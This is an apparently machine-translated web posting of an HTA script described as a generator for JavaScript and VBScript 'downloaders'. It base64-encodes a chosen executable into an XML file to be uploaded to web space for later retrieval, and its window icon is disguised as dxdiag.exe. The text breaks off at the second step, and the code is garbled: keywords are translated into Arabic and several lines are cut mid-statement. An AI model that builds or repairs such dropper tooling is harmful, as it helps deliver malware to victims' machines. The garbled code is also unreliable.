XMLDOM Downloader Generator Code (XMLDOWN.HTA)

الكاتب：Eve Cole وقت التحديث：2025-04-08 07:48:01

以下代码保存成 hta 文件，可生成 js 和 vbs 下载者

代码如下:

<hta: التطبيق

id = "xmldown"

Caption = "نعم"

Scroll = "Auto"

الحدود = "لا شيء"

BorderStyle = "Static"

SingleInstance = "نعم"

MailasizedButton = "لا"

الحدود = "لا"

icon = "dxdiag.exe">

<لغة البرنامج النصي = vbs>

sub window_onload

Window.Resizeto Screen.Width/1.6 ، Screen.Height/3

Window.Moveto 200،200

نهاية الفرعية

Sub CreatexMl (المسار ، ملف)

تعيين objstream = createObject ("Adodb.stream")

objstream.type = 1

objstream.open ()

objstream.loadfromfile (المسار)

objstream.position = 0

SET XMLDOC = createObject ("Microsoft.xmldom")

xmldoc.async = false

SET ROOT = XMLDOC.CREATEPROCESSINGINTRUCTION ("XML" ، "الإصدار =" 1.0 "الترميز = 'UTF-8'")

xmldoc.appendchild (الجذر)

xmldoc.appendchild (xmldoc.createElement ("Root"))

set xfile = xmldoc.selectsinglenode ("// root"). appendChild (xmldoc.createElement (

set xstream = xfile.appendchild (xmldoc.createlement ("Stream"))

xstream.setattribute "Xmlns: dt" ، "urn: schemas-microsoft-com: dataTypes"

xstream.datatype = "bin.base64"

xstream.nodeTypedValue = objstream.read ()

xmldoc.save (ملف)

تعيين xmldoc = لا شيء

تعيين الجذر = لا شيء

تعيين objstream = لا شيء

نهاية الفرعية

الوظيفة X (OBJ)

set x = document.getElementById (OBJ)

وظيفة نهاية

وظيفة FindFile (STR)

set fso = createObject ("scripting.filesystemObject")

إذا fso.filexists (str) ثم

FindFile = صحيح

آخر

FindFile = false

إنهاء إذا

وظيفة نهاية

وظيفة JSDown ()

set fso = createObject ("scripting.filesystemObject")

مع fso.opentextFile ((createObject ("wscript.shell")).

.write x ("jsdown"). القيمة

تنتهي

وظيفة نهاية

وظيفة vbsdown ()

set fso = createObject ("scripting.filesystemObject")

مع fso.opentextFile ((createObject ("wscript.shell")).

.write x ("vbsdown"). القيمة

تنتهي

وظيفة نهاية

</script>

<body>

<h4> 1. 生成下载用的 xml 文件 </h4>

选择下载的 exe 文件： <إدخال type = file name = "file1" id = "file1" size = "20">

保存路径 <type type = text name = "path" id = "pathname" value = "c: /down.xml" size = "20"

<type type = "button" value = "生成 xml 文件" onClick = 'vbs: createxml x ("file1"). value ، x ("pathname"). value: if findFile (x ( color = red> 生成成功，请传到某个空间 </font> "'> <br>

<h4> 2. 生成下载者 </h4>